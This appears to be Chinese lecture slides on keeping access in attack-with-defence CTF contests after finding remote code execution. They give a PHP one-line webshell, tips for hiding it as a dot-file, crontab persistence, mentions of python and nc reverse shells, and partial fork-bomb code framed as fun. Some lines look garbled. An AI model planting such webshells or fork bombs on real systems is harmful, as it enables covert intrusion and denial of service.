


第8课 AWD权限维持



发现Rce后的基本思路

写入webshell

植入不死马

反弹目标机shel并获得长期管理权限



发现Rce后的基本思路

写入webshell

webshell和不死马要有伪装性，文件名以.开头。  (config.php)

因为只有la(Is -I)才能看到你这样写的文件

注意密码设置，防止被别人骑马



发现Rce后的基本思路

写入webshell

webshell和不死马要有伪装性，文件名以.开头。  (config.php)

因为只有la(Is -I)才能看到你这样写的文件

注意密码设置，防止被别人骑马

<?php($_=@assert$_GET[x]).@$_($_POST[y])?>



发现Rce后的基本思路

写入不死马

crontab

三重进程守护



发现Rce后的基本思路

·crontab定时任务

·https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html



发现Rce后的基本思路

反弹shell

用python反弹shell

用nc



发现Rce后的基本思路

·https://github.com/WangYihang/Reverse-Shell-Manager



发现Rce后的基本思路

打完之后可以有点娱乐精神，让别人也快乐一下



发现Rce后的基本思路

fork炸弹

fork炸弹以极快的速度创建大量进程(进程数呈以2为底数的指数增长趋势),并以此消耗系统分配予

进程的可用空间使进程表饱和，而系统在进程表饱和后就无法运行新程序，除非进程表中的某一进程

终止；但由于fork炸弹程序所创建的所有实例都会不断探测空缺的进程槽并尝试取用以创建新进程，因

而即使在某进程终止后也基本不可能运行新进程。fork炸弹生成的子程序在消耗进程表空间的同时也会

占用CPU和内存，从而导致系统与现有进程运行速度放缓，响应时间也会随之大幅增加，以致于无法

正常完成任务，从而使系统的正常运作受到严重影响。



发现Rce后的基本思路

fork炸弹
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发现Rce后的基本思路

fork炸弹

bomb()

{

bomb|bomb&
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谢谢观赏


